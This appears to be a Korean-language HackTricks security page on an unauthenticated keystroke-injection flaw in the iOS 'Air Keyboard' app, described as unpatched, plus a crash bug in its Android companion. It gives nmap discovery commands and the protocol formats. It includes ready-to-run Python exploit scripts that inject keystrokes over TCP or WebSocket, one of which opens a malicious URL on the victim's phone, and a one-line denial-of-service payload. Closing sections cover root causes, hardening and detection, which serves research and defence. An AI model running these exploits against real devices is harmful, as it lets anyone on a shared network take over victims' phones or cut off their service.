Air Keyboard Remote Input Injection (Unauthenticated TCP / WebSocket Listener)
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
TL;DR
상업용 “Air Keyboard” 애플리케이션의 iOS 버전(App Store ID 6463187929)은 인증이나 출처 검증 없이 키스트로크 프레임을 수락하는 로컬 네트워크 서비스를 노출합니다. 설치된 버전에 따라 서비스는 다음과 같습니다:
- ≤ 1.0.4 – 포트 8888에서 2바이트 길이 헤더 다음에 device-id와 ASCII 페이로드를 기대하는 원시 TCP 리스너.
- ≥ 1.0.5 (2025년 6월) – WebSocket 리스너가 같은 포트(8888)에서
{"type":1,"text":"…"}
와 같은 JSON 키를 파싱합니다.
따라서 동일한 Wi-Fi / 서브넷에 있는 모든 장치는 피해자의 전화기에 임의의 키보드 입력을 주입하여 완전 원격 상호작용 탈취를 달성할 수 있습니다. 동반 Android 빌드는 포트 55535에서 리스닝합니다. 약한 AES-ECB 핸드셰이크를 수행하지만 조작된 쓰레기 데이터는 여전히 OpenSSL 내부에서 처리되지 않은 예외를 발생시켜 백그라운드 서비스를 충돌시킵니다(DoS).
이 취약점은 작성 시점(2025년 7월)에서 여전히 패치되지 않았으며 애플리케이션은 App Store에서 사용할 수 있습니다.
1. 서비스 검색
로컬 네트워크를 스캔하고 앱에서 사용하는 두 개의 고정 포트를 찾습니다:
# iOS (unauthenticated input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
안드로이드 핸드셋에서는 책임 패키지를 로컬에서 식별할 수 있습니다:
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
On jailbroken iOS에서는 lsof -i -nP | grep LISTEN | grep 8888
와 유사한 작업을 수행할 수 있습니다.
2. Protocol Details (iOS)
2.1 Legacy (≤ 1.0.4) – custom binary frames
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
선언된 길이는 device_id
바이트를 포함하지만 두 바이트 헤더 자체는 포함하지 않습니다.
2.2 현재 (≥ 1.0.5) – WebSocket을 통한 JSON
버전 1.0.5는 포트 번호를 변경하지 않고 WebSocket으로 조용히 마이그레이션되었습니다. 최소한의 키 입력은 다음과 같습니다:
{
"type": 1, // 1 = insert text, 2 = special key
"text": "open -a Calculator\n",
"mode": 0,
"shiftKey": false,
"selectionStart": 0,
"selectionEnd": 0
}
핸드셰이크, 토큰 또는 서명이 필요하지 않습니다 – 첫 번째 JSON 객체가 이미 UI 이벤트를 트리거합니다.
3. 익스플로잇 PoC
3.1 타겟 ≤ 1.0.4 (원시 TCP)
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard ≤ 1.0.4 (TCP mode)"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("[+] Injected", keystrokes)
3.2 타겟팅 ≥ 1.0.5 (WebSocket)
#!/usr/bin/env python3
"""Inject keystrokes into Air Keyboard ≥ 1.0.5 (WebSocket mode)"""
import json, sys, websocket # `pip install websocket-client`
target_ip = sys.argv[1]
ws = websocket.create_connection(f"ws://{target_ip}:8888")
ws.send(json.dumps({
"type": 1,
"text": "https://evil.example\n",
"mode": 0,
"shiftKey": False,
"selectionStart": 0,
"selectionEnd": 0
}))
ws.close()
print("[+] URL opened on target browser")
인쇄 가능한 모든 ASCII — 줄 바꿈, 탭 및 대부분의 특수 키를 포함하여 — 전송될 수 있으며, 이는 공격자에게 물리적 사용자 입력과 동일한 권한을 부여합니다: 앱 실행, IM 전송, 악성 URL 열기, 설정 전환 등.
4. Android Companion – 서비스 거부
Android 포트(55535)는 하드코딩된 AES-128-ECB 키로 암호화된 4자 비밀번호와 무작위 nonce를 기대합니다. 구문 오류는 AES_decrypt()
로 전파되며 포착되지 않아 리스너 스레드가 종료됩니다. 따라서 단일 잘못된 패킷만으로도 프로세스가 다시 시작될 때까지 합법적인 사용자가 연결이 끊기게 됩니다.
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
5. 관련 앱 – 반복되는 안티 패턴
Air Keyboard는 고립된 사례가 아닙니다. 다른 모바일 “원격 키보드/마우스” 유틸리티도 동일한 결함을 가지고 출시되었습니다:
- Telepad ≤ 1.0.7 – CVE-2022-45477/78는 인증되지 않은 명령 실행 및 평문 키 로깅을 허용합니다.
- PC Keyboard ≤ 30 – CVE-2022-45479/80 인증되지 않은 RCE 및 트래픽 스누핑.
- Lazy Mouse ≤ 2.0.1 – CVE-2022-45481/82/83 기본 비밀번호 없음, 약한 PIN 무차별 대입 및 평문 유출.
이 사례들은 모바일 앱의 네트워크 공격 표면에 대한 체계적인 무시를 강조합니다.
6. 근본 원인
- 수신 프레임에 대한 출처/무결성 검사 없음 (iOS).
- 암호화 오용 (정적 키, ECB, 길이 검증 누락) 및 예외 처리 부족 (Android).
- 사용자 부여 로컬 네트워크 권한 ≠ 보안 – iOS는 LAN 트래픽에 대한 런타임 동의를 요청하지만, 적절한 인증을 대체하지는 않습니다.
7. 강화 및 방어 조치
개발자 권장 사항:
- 리스너를 **
127.0.0.1
**에 바인딩하고 원격 제어가 필요할 경우 mTLS 또는 Noise XX를 통해 터널링합니다. - 온보딩 중 장치별 비밀을 파생 (예: QR 코드 또는 페어링 PIN)하고 입력 처리를 하기 전에 상호 인증을 시행합니다.
- 원시 소켓 대신 Apple Network Framework를 NWListener + TLS와 함께 채택합니다.
- 프레임을 복호화하거나 디코딩할 때 길이 접두사 적합성 검사 및 구조화된 예외 처리를 구현합니다.
블루/레드 팀의 빠른 승리:
- 네트워크 헌팅:
sudo nmap -n -p 8888,55535 --open 192.168.0.0/16
또는 Wireshark 필터tcp.port == 8888
. - 런타임 검사: Frida 스크립트 후킹
socket()
/NWConnection
으로 예상치 못한 리스너 목록을 나열합니다. - **iOS 앱 개인정보 보호 보고서 (설정 ▸ 개인정보 및 보안 ▸ 앱 개인정보 보호 보고서)**는 LAN 주소에 연락하는 앱을 강조합니다 – 악성 서비스를 발견하는 데 유용합니다.
- 모바일 EDR은 포트 8888의 평문 TCP 페이로드 내 JSON 키
"selectionStart"
,"selectionEnd"
에 대한 간단한 Yara-L 규칙을 추가할 수 있습니다.
탐지 요약 (펜테스터)
# Locate vulnerable devices in a /24 and print IP + list of open risky ports
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - \
| awk '/Ports/{print $2 " " $4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do \
echo -n \"$p → \"; cat /proc/$p/cmdline; done"
References
- Exploit-DB 52333 – Air Keyboard iOS App 1.0.5 원격 입력 주입
- Mobile-Hacker Blog (2025년 7월 17일) – Air Keyboard iOS App의 원격 입력 주입 취약점 여전히 패치되지 않음
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.